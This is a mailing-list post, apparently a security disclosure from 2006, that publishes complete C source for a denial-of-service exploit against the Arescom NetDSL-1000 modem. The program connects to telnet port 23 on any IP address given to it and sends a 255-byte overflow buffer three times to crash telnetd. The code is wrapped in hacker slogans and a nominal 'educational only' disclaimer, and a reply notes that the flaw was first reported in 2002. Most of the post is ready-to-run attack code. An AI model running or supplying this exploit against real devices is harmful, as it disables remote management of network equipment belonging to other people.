Arescom NetDSL-1000 DoS atack source

[framirez@akori.fr]

/*
Do you want to hack? les`t go .. free your mind
Tu veux etre un hacker? allez .. if faut libere ta tete!
Quieres hackear? dale .. libera tu mente

Vulnerabilidad en modem Arescom NetDSL-1000
por un buffer overflow debido < [255] en la pila stack.

DoS atack por Fabian Ramirez S. <framirez@akori.fr>
www.framirez.com


If you flood the telnet configuration a couple dozen times with long
strings, eventually the telnetd service flat out dies. Routing functions
of the NetDSL continue to work fine as before. It is unknown whether only
the telnetd service is affected, other means of remote configuration may
have become unavailable as well.

Remember: KING

Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 23
#define MAXDATASIZE 100

char shellcode[]= "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1";

int main(int argc, char *argv[])
{
int fd, numbytes,i;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in server;

printf("Exploit Arescom NetDSL-1000 executing\n");
printf (" by framirez\n");

if (argc !=2) {
printf("Uso: %s <Dirección IP>\n",argv[0]);
exit(-1);
}



if ((he=gethostbyname(argv[1]))==NULL){
printf("gethostbyname() error\n");
exit(-1);
}

if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){
printf("socket() error\n");
exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);

if(connect(fd, (struct sockaddr *)&server,
sizeof(struct sockaddr))==-1){
printf("ERROR conectando al host\n");
exit(-1);
}

for (i=0;i<3;i++)
{
send(fd,shellcode,255,0);
}

printf ("Exploit enviado con EXITO al destinatario\n");
printf (" by framirez\n");

close(fd);

return 1;
}

[Pim van Riezen]

On Jan 30, 2006, at 2:51 PM, framirez@akori.fr wrote:

> If you flood the telnet configuration a couple dozen times with
> long
> strings, eventually the telnetd service flat out dies. Routing
> functions
> of the NetDSL continue to work fine as before. It is unknown
> whether only
> the telnetd service is affected, other means of remote
> configuration may
> have become unavailable as well.

I reported this vulnerability to bugtraq on 2002-02-09. Nice to see
that now, four years later, the vulnerability still exists.

Cheers,
Pi